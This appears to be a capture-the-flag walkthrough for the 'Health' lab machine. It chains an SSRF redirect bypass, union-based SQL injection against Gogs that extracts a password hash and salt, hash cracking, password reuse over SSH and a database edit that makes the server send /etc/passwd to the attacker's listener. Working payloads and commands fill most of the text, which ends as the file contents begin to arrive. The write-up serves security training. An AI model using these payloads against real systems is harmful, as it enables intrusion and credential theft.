Health
18 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.176
- Release: 20 / 08 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.176 -p 22,80,3000
Nmap scan report for 10.10.11.176
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32b7f4d42f45d330ee123b0367bbe631 (RSA)
| 256 86e15d8c2939acd7e815e649e235ed0c (ECDSA)
|_ 256 ef6bad64d5e45b3e667949f4ec4c239f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 25.24 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open. Port 3000 is filtered.
Enumeration
If we go to http://10.10.11.176
, we will see this webpage:
There is a single webhook functionality. This web application allows us to monitor a given URL so that we are notified when that URL is available or not. For instance, we can enter our own IP address as monitoredUrl
(http://10.10.17.44:8000
). The notification will arrive to another endpoint URL as a POST request, let’s use http://10.10.17.44
:
And here we have the result:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.176 - - [] "GET / HTTP/1.0" 200 -
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:49896.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 631
{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"http:\/\/10.10.17.44:8000","health":"up","body":"<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/strict.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n","message":"HTTP\/1.0 200 OK","headers":{"Server":"SimpleHTTP\/0.6 Python\/3.10.9","Date":"","Content-type":"text\/html; charset=utf-8","Content-Length":"297"}}
As shown above, we got a request to http://10.10.17.44:8000
, and the response is sent as a POST request to http://10.10.17.44
.
$ curl 127.0.0.1:8000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
</ul>
<hr>
</body>
</html>
Server-Side Request Forgery
At this point, we can try to monitor an internal URL, such as http://127.0.0.1
(SSRF attack):
However, it seems to be blocked:
In HackTricks we can find some bypasses for SSRF payloads, but none of them work.
Instead, we can use a redirection (302 Found
) so that the web client that looks at the monitored URL is redirected to another location. In fact, this works, and we are able to test any internal URL.
For this attack, I created a Python script that sets up a Flask server with /monitored
and /payload
endpoints. The first one applies the redirect and the second one will print out the contents of the HTTP response. Additionally, the webhook configuration is also done in the script: ssrf.py
(detailed explanation here).
$ python3 ssrf.py
[!] Usage: ssrf.py <lhost> <monitored-url>
$ python3 ssrf.py 10.10.17.44 http://127.0.0.1
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>HTTP Monitoring Tool</title>
<link href="http://127.0.0.1/css/app.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div class="container">
<div class="container" style="padding: 150px">
<h1 class="text-center">health.htb</h1>
<h4 class="text-center">Simple health checks for any URL</h4>
<hr>
<p>This is a free utility that allows you to remotely check whether an http service is available. It is useful if you want to check whether the server is correctly running or if there are any firewall issues blocking access.</p>
<div class="card-header">
Configure Webhook
</div>
<div class="mx-auto" style="width: 700px; padding: 20px 0 70px 0">
<form method="post" action="http://127.0.0.1/webhook">
<input type="hidden" name="_token" value="txc71t3qfgeSN3Ppwouhtvs4kNRtHqOfPsgfvmlF">
<div class="pt-2 form-group">
<label for="webhookUrl">Payload URL:</label>
<input type="text" class="form-control" name="webhookUrl"
placeholder="http://example.com/postreceive"/>
</div>
<div class="pt-2 form-group">
<label for="monitoredUrl">Monitored URL:</label>
<input type="text" class="form-control" name="monitoredUrl" placeholder="http://example.com"/>
</div>
<div class="pt-2 form-group">
<label for="frequency">Interval:</label>
<input type="text" class="form-control" name="frequency" placeholder="*/5 * * * *"/>
<small class="form-text text-muted">Please make use of cron syntax, see <a
href="https://crontab.guru/">here</a> for reference.</small>
</div>
<p class="pt-3">Under what circumstances should the webhook be sent?</p>
<select class="form-select" name="onlyError">
<option value="1" selected>Only when Service is not available</option>
<option value="0">Always</option>
</select>
<div class="pt-2">
<input type="submit" class="btn btn-primary float-end" name="action"
value="Create"/>
<input type="submit" class="btn btn-success float-end" style="margin-right: 2px" name="action"
value="Test"/>
</div>
</form>
</div>
<h4>About:</h4>
<p>This is a free utility that allows you to remotely check whether an http service is available. It is useful if you want to check whether the server is correctly running or if there are any firewall issues blocking access.</p>
<h4>For Developers:</h4>
<p>Once the webhook has been created, the webhook recipient is periodically informed about the status of the monitored application by means of a post request containing various details about the http service.</p>
<h4>Its simple:</h4>
<p>No authentication is required. Once you create a monitoring job, a UUID is generated which you can share
with
others to manage the job easily.</p>
</div>
</div>
<script src="http://127.0.0.1/js/app.js" type="text/js"></script>
<!-- Footer -->
...
<!-- Footer -->
</body>
</html>
Foothold
At this point, we can see what service is running on port 3000:
$ python3 ssrf.py 10.10.17.44 http://127.0.0.1:3000
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs - Go Git Service" />
<meta name="description" content="Gogs(Go Git Service) a painless self-hosted Git Service written in Go" />
<meta name="keywords" content="go, git, self-hosted, gogs">
<meta name="_csrf" content="WJDAc67LtowFFe9KpcEtGx_rfP86MTY3MzA3MTYzNDIzNTk3MzY3NQ==" />
<link rel="shortcut icon" href="/img/favicon.png" />
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css">
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<link rel="stylesheet" href="/ng/css/ui.css">
<link rel="stylesheet" href="/ng/css/gogs.css">
<link rel="stylesheet" href="/ng/css/tipsy.css">
<link rel="stylesheet" href="/ng/css/magnific-popup.css">
<link rel="stylesheet" href="/ng/fonts/octicons.css">
<link rel="stylesheet" href="/css/github.min.css">
<script src="/ng/js/lib/lib.js"></script>
<script src="/ng/js/lib/jquery.tipsy.js"></script>
<script src="/ng/js/lib/jquery.magnific-popup.min.js"></script>
<script src="/ng/js/utils/tabs.js"></script>
<script src="/ng/js/utils/preview.js"></script>
<script src="/ng/js/gogs.js"></script>
<title>Gogs: Go Git Service</title>
</head>
<body>
<div id="wrapper">
<noscript>Please enable JavaScript in your browser!</noscript>
<header id="header">
<ul class="menu menu-line container" id="header-nav">
<li class="right" id="header-nav-help">
<a target="_blank" href="http://gogs.io/docs"><i class="octicon octicon-info"></i> Help</a>
</li>
<li class="right" id="header-nav-explore">
<a href="/explore"><i class="octicon octicon-globe"></i> Explore</a>
</li>
</ul>
</header>
<div id="promo-wrapper">
<div class="container clear">
<div id="promo-logo" class="left">
<img src="/img/gogs-lg.png" alt="logo" />
</div>
<div id="promo-content">
<h1>Gogs</h1>
<h2>A painless self-hosted Git service written in Go</h2>
<form id="promo-form" action="/user/login" method="post">
<input type="hidden" name="_csrf" value="WJDAc67LtowFFe9KpcEtGx_rfP86MTY3MzA3MTYzNDIzNTk3MzY3NQ==">
<input class="ipt ipt-large" id="username" name="uname" type="text" placeholder="Username or E-mail"/>
<input class="ipt ipt-large" name="password" type="password" placeholder="Password"/>
<input name="from" type="hidden" value="home">
<button class="btn btn-black btn-large">Sign In</button>
<button class="btn btn-green btn-large" id="register-button">Register</button>
</form>
<div id="promo-social" class="social-buttons">
</div>
</div>
</div>
</div>
<div id="feature-wrapper">
<div class="container clear">
<div class="grid-1-2 left">
<i class="octicon octicon-flame"></i>
<b>Easy to install</b>
<p>Simply <a target="_blank" href="http://gogs.io/docs/installation/install_from_binary.html">run the binary</a> for your platform. Or ship Gogs with <a target="_blank" href="https://github.com/gogits/gogs/tree/master/dockerfiles">Docker</a> or <a target="_blank" href="https://github.com/geerlingguy/ansible-vagrant-examples/tree/master/gogs">Vagrant</a>, or get it <a target="_blank" href="http://gogs.io/docs/installation/install_from_packages.html">packaged</a>.</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-device-desktop"></i>
<b>Cross-platform</b>
<p>Gogs runs anywhere <a target="_blank" href="http://golang.org/">Go</a> can compile for: Windows, Mac OS X, Linux, ARM, etc. Choose the one you love!</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-rocket"></i>
<b>Lightweight</b>
<p>Gogs has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!</p>
</div>
<div class="grid-1-2 left">
<i class="octicon octicon-code"></i>
<b>Open Source</b>
<p>It's all on <a target="_blank" href="https://github.com/gogits/gogs/">GitHub</a>! Join us by contributing to make this project even better. Don't be shy to be a contributor!</p>
</div>
</div>
</div>
</div>
<footer id="footer">
<div class="container clear">
<p class="left" id="footer-rights">© 2014 GoGits · Version: 0.5.5.1010 Beta · Page: <strong>1ms</strong> ·
Template: <strong>1ms</strong></p>
<div class="right" id="footer-links">
<a target="_blank" href="https://github.com/gogits/gogs"><i class="fa fa-github-square"></i></a>
<a target="_blank" href="https://twitter.com/gogitservice"><i class="fa fa-twitter"></i></a>
<a target="_blank" href="https://plus.google.com/communities/115599856376145964459"><i class="fa fa-google-plus"></i></a>
<a target="_blank" href="http://weibo.com/gogschina"><i class="fa fa-weibo"></i></a>
<div id="footer-lang" class="inline drop drop-top">Language
<div class="drop-down">
<ul class="menu menu-vertical switching-list">
<li><a href="#">English</a></li>
<li><a href="/?lang=zh-CN">简体中文</a></li>
<li><a href="/?lang=zh-HK">繁體中文</a></li>
<li><a href="/?lang=de-DE">Deutsch</a></li>
<li><a href="/?lang=fr-CA">Français</a></li>
<li><a href="/?lang=nl-NL">Nederlands</a></li>
</ul>
</div>
</div>
<a target="_blank" href="http://gogs.io">Website</a>
<span class="version">Go1.3.2</span>
</div>
</div>
</footer>
</body>
</html>
It is Gogs version 0.5.5.1010 Beta. We can find some exploits for Gogs using searchsploit
:
$ searchsploit gogs
------------------------------------------ ----------------------------
Exploit Title | Path
------------------------------------------ ----------------------------
Gogs - 'label' SQL Injection | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection | multiple/webapps/35238.txt
------------------------------------------ ----------------------------
Shellcodes: No Results
Gogs setup
Both exploits are a SQL injection attack, although the second exploit looks more promising because the result of the query is shown in the response (Union-based).
Since Gogs is open-source, let’s download the vulnerable version and find a suitable payload.
$ wget -q https://github.com/gogs/gogs/releases/download/v0.5.5/linux_amd64.zip
$ unzip linux_amd64.zip
Archive: linux_amd64.zip
creating: gogs/
...
$ cd gogs
$ ./gogs
NAME:
Gogs - Go Git Service
USAGE:
Gogs [global options] command [command options] [arguments...]
VERSION:
0.5.5.1010 Beta
COMMANDS:
web Start Gogs web server
serv This command should only be called by SSH shell
update This command should only be called by SSH shell
fix This command for upgrade from old version
dump Dump Gogs files and database
cert Generate self-signed certificate
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help
--version, -v print the version
First, we must go to /install
to start:
$ ./gogs web
[W] No custom 'conf/app.ini' found, please go to '/install'
[T] Custom path: ./gogs/custom
[T] Log path: ./gogs/log
[I] Gogs: Go Git Service 0.5.5.1010 Beta
[I] Log Mode: Console(Trace)
[I] Redis Enabled
[I] Memcache Enabled
[I] Cache Service Enabled
[I] Session Service Enabled
[I] SQLite3 Enabled
[I] Run Mode: Development
[I] Listen: http://0.0.0.0:3000
Here we can set a dummy configuration:
We will see something like the following in the server log:
[T] Custom path: ./gogs/custom
[T] Log path: ./gogs/log
[I] Gogs: Go Git Service 0.5.5.1010 Beta
[I] Log Mode: File(Trace)
[I] Redis Enabled
[I] Memcache Enabled
[I] Cache Service Enabled
[I] Session Service Enabled
[I] Git user.name and user.email set to Gogs <gogitservice@gmail.com>
[I] SQLite3 Enabled
[I] Run Mode: Production
[I] First-time run install finished!
[Macaron] Completed /install 302 Found in 98.513698ms
[Macaron] Started GET /user/login for 127.0.0.1
[Macaron] Completed /user/login 200 OK in 6.322729ms
Gogs exploitation
Since we will be exploiting SQL injection, let’s see what fields we are interested in:
$ sqlite3 data/gogs.db
SQLite version 3.31.1
Enter ".help" for usage hints.
sqlite> .tables
access hook_task milestone public_key team_user
action issue mirror release update_task
attachment issue_user notice repository user
comment label oauth2 star watch
follow login_source org_user team webhook
sqlite> .header on
sqlite> select * from user;
id|lower_name|name|full_name|email|passwd|login_type|login_source|login_name|type|num_followers|num_followings|num_stars|num_repos|avatar|avatar_email|location|website|is_active|is_admin|rands|salt|created|updated|description|num_teams|num_members
1|rocky|rocky||rocky@rocky.com|e901286315921f96991d121dbd0e202fec6fb94715e8def4a4e6ff7f54e708c9634e0c21228470f8fb7847483eafbf077f5a|0|0||0|0|0|0|0|1d9f758b9a472ea82604828e5fa387a6|rocky@rocky.com|||1|1|Bzo2RqEmGh|ZGZFz0J50V|yyyy-mm-dd hh:mm:ss|yyyy-mm-dd hh:mm:ss||0|0
So, interesting fields are user.name
, user.passwd
and user.salt
.
The SQL injection vulnerability exists in /api/v1/repos/search
and /api/v1/users/search
, according to www.exploit-db.com. Here we have a proof of concept to show that /api/v1/users/search
is vulnerable:
$ curl "http://127.0.0.1:3000/api/v1/users/search?q='"
{
"error": "unrecognized token: \"') LIMIT 10\"",
"ok": false
}
In www.exploit-db.com we have this payload:
Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/mysql.db/**/where/**/('%25'%3D'
Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
We need to change the syntax a bit since the server uses SQLite3 instead of MySQL (locally). In summary, we can use these requests to get the fields we want:
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "rocky",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,passwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "e901286315921f96991d121dbd0e202fec6fb94715e8def4a4e6ff7f54e708c9634e0c21228470f8fb7847483eafbf077f5a",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
$ curl -s $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
{
"data": [
{
"username": "ZGZFz0J50V",
"avatar": "//1.gravatar.com/avatar/"
}
],
"ok": true
}
Since the previous are GET requests, we can use the SSRF to redirect the web client to http://127.0.0.1:3000/api/v1/users/search?q=...
and obtain the values from the remote database:
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,passwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
$ python3 ssrf.py 10.10.17.44 $(echo "http://127.0.0.1:3000/api/v1/users/search?q=%27 AND 0) UNION ALL SELECT null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM user WHERE (%27%25%27%3d%27" | sed 's/ /\/**\//g')
* Serving Flask app 'ssrf'
* Debug mode: off
[+] SSRF Response:
{"data":[{"username":"sO3XIbeW14","avatar":"//1.gravatar.com/avatar/"}],"ok":true}
Cracking the hash
At this point, we can try to crack the hash. For that, let’s use GitHub to find the method:
Since Gogs is programmed in Go, let’s write a program in Go named crack.go
with the same functions to crack the hash (detailed explanation here):
$ go mod init crack
go: creating new go.mod: module crack
go: to add module requirements and sums:
go mod tidy
$ go mod tidy
go: finding module for package golang.org/x/crypto/pbkdf2
go: found golang.org/x/crypto/pbkdf2 in golang.org/x/crypto v0.5.0
$ go run crack.go
Usage: go run crack.go <wordlist> <hash> <salt>
exit status 1
$ go run crack.go $WORDLISTS/rockyou.txt 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 sO3XIbeW14
[+] Cracked: february15
And there is a system user called sussane
that reuses the above password (february15
):
$ ssh susanne@10.10.11.176
susanne@10.10.11.176's password:
susanne@health:~$ cat user.txt
e7a9065c5c30e2f82c57de556c798eed
System enumeration
After basic permissions enumeration, we can take a look at the web server source code:
susanne@health:~$ cd /var/www/html
susanne@health:/var/www/html$ ll
total 412
drwxr-xr-x 14 www-data www-data 4096 Jul 26 10:12 ./
drwxr-xr-x 3 www-data www-data 4096 May 17 2022 ../
drwxrwxr-x 9 www-data www-data 4096 Jul 26 10:12 app/
-rwxr-xr-x 1 www-data www-data 1686 May 17 2022 artisan*
drwxrwxr-x 3 www-data www-data 4096 Jul 26 10:12 bootstrap/
-rw-r--r-- 1 www-data www-data 1775 May 17 2022 composer.json
-rw-r--r-- 1 www-data www-data 292429 May 17 2022 composer.lock
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 config/
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 database/
-rw-r--r-- 1 www-data www-data 258 May 17 2022 .editorconfig
-rw-r--r-- 1 www-data www-data 978 May 17 2022 .env
-rw-r--r-- 1 www-data www-data 899 May 17 2022 .env.example
drwxrwxr-x 8 www-data www-data 4096 Jul 26 10:12 .git/
-rw-r--r-- 1 www-data www-data 152 May 17 2022 .gitattributes
-rw-r--r-- 1 www-data www-data 207 May 17 2022 .gitignore
drwxrwxr-x 507 www-data www-data 20480 Jul 26 10:12 node_modules/
-rw-r--r-- 1 www-data www-data 643 May 17 2022 package.json
-rw-r--r-- 1 www-data www-data 1202 May 17 2022 phpunit.xml
drwxrwxr-x 4 www-data www-data 4096 Jul 26 10:12 public/
-rw-r--r-- 1 www-data www-data 3958 May 17 2022 README.md
drwxrwxr-x 7 www-data www-data 4096 Jul 26 10:12 resources/
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 routes/
-rw-r--r-- 1 www-data www-data 569 May 17 2022 server.php
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 storage/
-rw-r--r-- 1 www-data www-data 194 May 17 2022 .styleci.yml
drwxrwxr-x 4 www-data www-data 4096 May 17 2022 tests/
drwxrwxr-x 44 www-data www-data 4096 Jul 26 10:12 vendor/
-rw-r--r-- 1 www-data www-data 556 May 17 2022 webpack.mix.js
In .env
we can find some environment variables like the MySQL credentials (laravel:MYsql_strongestpass@2014+
):
susanne@health:/var/www/html$ cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:x12LE6h+TU6x4gNKZIyBOmthalsPLPLv/Bf/MJfGbzY=
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DRIVER=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=null
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
Source code analysis
This is routes/web.php
:
susanne@health:/var/www/html$ cat routes/web.php
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('index');
});
Route::get('/webhook/{id}', function ($id) {
$webhook = \App\Models\Task::find($id);
error_log($webhook);
if ($webhook) {
return view("view", ["webhook" => $webhook]);
} else {
return redirect('/')->with('error', 'Webhook was not found');
}
})->whereUuid('id');
Route::post("/webhook", [\App\Http\Controllers\TaskController::class, 'create'])->name('webhook');
There is only one route (/webhook
), controlled by TaskController
:
susanne@health:/var/www/html$ cat app/Http/Controllers/TaskController.php
<?php
namespace App\Http\Controllers;
use App\Models\Task;
use App\Rules\SafeUrlRule;
use Illuminate\Http\Request;
class TaskController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
return view('create');
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create(Request $request)
{
$action = $request->action;
if ($action === "Delete") {
$id = $request->id;
Task::destroy($id);
return redirect("/")->with('message', 'The webhook was deleted!');
}
$validatedData = $request->validate([
'webhookUrl' => ['required', 'url', new SafeUrlRule()],
'monitoredUrl' => ['required', 'url', new SafeUrlRule()],
'frequency' => 'required',
'onlyError' => 'required|boolean'
]);
if ($action === "Test") {
$res = HealthChecker::check($request->webhookUrl, $request->monitoredUrl, $request->onlyError);
if (isset($res["health"]) && $res["health"] === "up") {
return redirect("/")->with('message', 'The host is healthy!');
} else {
return redirect("/")->with('error', 'The host is not healthy!');
}
} else {
$show = Task::create($validatedData);
return redirect('/webhook/' . $show->id)->with('message', 'Webhook is successfully created');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
}
There is a rule called SafeUrlRule
:
susanne@health:/var/www/html$ cat app/Rules/SafeUrlRule.php
<?php
namespace App\Rules;
use Illuminate\Contracts\Validation\Rule;
class SafeUrlRule implements Rule
{
private $msg = '';
/**
* Create a new rule instance.
*
* @return void
*/
public function __construct()
{
//
}
/**
* Determine if the validation rule passes.
*
* @param string $attribute
* @param mixed $value
* @return bool
*/
public function passes($attribute, $value)
{
$host = parse_url($value, PHP_URL_HOST);
$ip = ip2long(gethostbyname($host));
if (ip2long('127.0.0.0') >> 24 === ($ip >> 24) or
ip2long('192.168.0.0') >> 16 == ($ip >> 16) or
ip2long('10.10.11.0') >> 8 == ($ip >> 8) or
ip2long('10.129.0.0') >> 16 == ($ip >> 16) or
0 == ($ip >> 24)) {
$this->msg = "The host given in the $attribute field is not allowed";
return false;
}
return true;
}
/**
* Get the validation error message.
*
* @return string
*/
public function message()
{
return $this->msg;
}
}
The above function filters some SSRF payloads. However, the webhook functionality works as follows: the task is saved in the database, then the task is released, and finally the task is removed from the database.
The controller that performs the requests is HealthChecker
:
susanne@health:/var/www/html$ cat app/Http/Controllers/HealthChecker.php
<?php
namespace App\Http\Controllers;
class HealthChecker
{
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
$json = [];
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
$res = @file_get_contents($monitoredUrl, false);
if ($res) {
if ($onlyError) {
return $json;
}
$json['health'] = "up";
$json['body'] = $res;
if (isset($http_response_header)) {
$headers = [];
$json['message'] = $http_response_header[0];
for ($i = 0; $i <= count($http_response_header) - 1; $i++) {
$split = explode(':', $http_response_header[$i], 2);
if (count($split) == 2) {
$headers[trim($split[0])] = trim($split[1]);
} else {
error_log("invalid header pair: $http_response_header[$i]\n");
}
}
$json['headers'] = $headers;
}
} else {
$json['health'] = "down";
}
$content = json_encode($json);
// send
$curl = curl_init($webhookUrl);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER,
array("Content-type: application/json"));
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
curl_exec($curl);
curl_close($curl);
return $json;
}
}
It employs file_get_contents
, so we are able to read local files. For that, we need to configure a webhook and quickly change monitoredUrl
to a local path, so that we receive the contents of the local file.
Privilege escalation
Let’s connect to MySQL:
susanne@health:/var/www/html$ mysql --user=laravel --password=MYsql_strongestpass@2014+
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3802
Server version: 5.7.39-0ubuntu0.18.04.2 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| laravel |
+--------------------+
2 rows in set (0.01 sec)
mysql> use laravel;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_laravel |
+------------------------+
| failed_jobs |
| migrations |
| password_resets |
| personal_access_tokens |
| tasks |
| users |
+------------------------+
6 rows in set (0.00 sec)
mysql> describe tasks;
+--------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------+--------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| webhookUrl | varchar(255) | NO | | NULL | |
| onlyError | tinyint(1) | NO | | NULL | |
| monitoredUrl | varchar(255) | NO | | NULL | |
| frequency | varchar(255) | NO | | NULL | |
| created_at | timestamp | YES | | NULL | |
| updated_at | timestamp | YES | | NULL | |
+--------------+--------------+------+-----+---------+-------+
7 rows in set (0.00 sec)
mysql> select * from tasks;
Empty set (0.00 sec)
If we create a task using the web application, we will find it in the database:
mysql> select * from tasks;
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
| id | webhookUrl | onlyError | monitoredUrl | frequency | created_at | updated_at |
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
| 6e5970e4-3829-4081-bd29-bacd5b1975ba | http://10.10.17.44 | 0 | http://10.10.17.44 | * * * * * | yyyy-mm-dd hh:mm:ss | yyyy-mm-dd hh:mm:ss |
+--------------------------------------+--------------------+-----------+--------------------+-----------+---------------------+---------------------+
1 row in set (0.00 sec)
Now, we change the monituredUrl
field to a local path such as /etc/passwd
:
mysql> update tasks set monitoredUrl = '/etc/passwd';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 1 Changed: 0 Warnings: 0
And we receive back the contents of /etc/passwd
, so we turned the SSRF into Local File Read:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:42280.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 1940
Expect: 100-continue
